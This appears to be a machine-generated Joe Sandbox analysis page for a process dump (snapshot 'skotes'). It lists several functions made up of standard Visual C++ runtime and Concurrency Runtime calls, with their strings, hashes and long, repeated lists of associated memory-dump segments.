Function 002952A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 002953A0
type_info::operator==.LIBVCRUNTIME ref: 002953C7
___TypeMatch.LIBVCRUNTIME ref: 002954D3
IsInExceptionSpec.LIBVCRUNTIME ref: 002955AE
CallUnexpected.LIBVCRUNTIME ref: 00295650

Strings

csm, xrefs: 002953FE
csm, xrefs: 0029534D
csm, xrefs: 002952E0

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 79a305607f60def9a2c2541a446002c717d395d10d069ca7cc909c281021dfbf
Instruction ID: cda586ba6fc1c61943673b8afb448136c30091e4846cc7a3255b24a364cf2a5d
Opcode Fuzzy Hash: 79a305607f60def9a2c2541a446002c717d395d10d069ca7cc909c281021dfbf
Instruction Fuzzy Hash: E0C19C71A2062AEFCF16DF94D8809AEBBB9BF14315F41415AF8056B202D370DA61CF91

Function 00294840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00294877
___except_validate_context_record.LIBVCRUNTIME ref: 0029487F
_ValidateLocalCookies.LIBCMT ref: 00294908
__IsNonwritableInCurrentImage.LIBCMT ref: 00294933
_ValidateLocalCookies.LIBCMT ref: 00294988

Strings

S9), xrefs: 00294925, 0029492E, 0029493F
csm, xrefs: 0029491D

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9)$csm
API String ID: 1170836740-1671259560
Opcode ID: 6f6f8942bb16cde2f37b3ec4898d822174f090175b4886aa5a2286f9a709fb23
Instruction ID: 7ae5ddc365cd5ec5d164edc4e8c1d1d1de0774951898af19cbf5768511011d8a
Opcode Fuzzy Hash: 6f6f8942bb16cde2f37b3ec4898d822174f090175b4886aa5a2286f9a709fb23
Instruction Fuzzy Hash: 3941B634A202199BCF10EF68DC84E9E7BB4BF45328F148155F8195B352D7719A26CF91

Function 00287364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 002873B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 002873F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0028740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00287419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00287440

Strings

ppVirtualProcessorRoots, xrefs: 00287438
count, xrefs: 0028737E

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 81550945fdc8a27e8a70af36c72bed642b6f3fe13ea584391e9ad17d3c393fb2
Instruction ID: b2ad55088a6eef7db61211b761730232e636adab3facf0c8e147ec10e504aa32
Opcode Fuzzy Hash: 81550945fdc8a27e8a70af36c72bed642b6f3fe13ea584391e9ad17d3c393fb2
Instruction Fuzzy Hash: 84214138A21209AFCF14FF58D595AAD7B75BF45350F5440A9E805A7291CB30ED24CF91

Function 0027EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0027EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0027EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0027EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0027EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0027EF31

Strings

i', xrefs: 0027EED0

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: i'
API String ID: 1182035702-3867111420
Opcode ID: edfcdfe5a6848eda91f8c5761f43b3653a8f763e9bf38d6c8fc83d891a709aec
Instruction ID: c6acb1b0f020f5e3792298b95fdbc1f518ccd8e1e2ee5409647993c06ee86139
Opcode Fuzzy Hash: edfcdfe5a6848eda91f8c5761f43b3653a8f763e9bf38d6c8fc83d891a709aec
Instruction Fuzzy Hash: 7B21B170C34206CBDF24EFA4C4456EEB7F0BF18320F1289A9E159A65D1EBB54A64CF61

Function 002878E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00287903

Part of subcall function 00285CB8: __EH_prolog3_catch.LIBCMT ref: 00285CBF
Part of subcall function 00285CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00285CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0028792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00287936

Part of subcall function 00285CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00285D70
Part of subcall function 00285CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00285D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00287982
Concurrency::location::_Assign.LIBCMT ref: 002879A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 002879AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 002879BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 002879ED

Part of subcall function 0028691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00286942
Part of subcall function 0028691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00286965

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
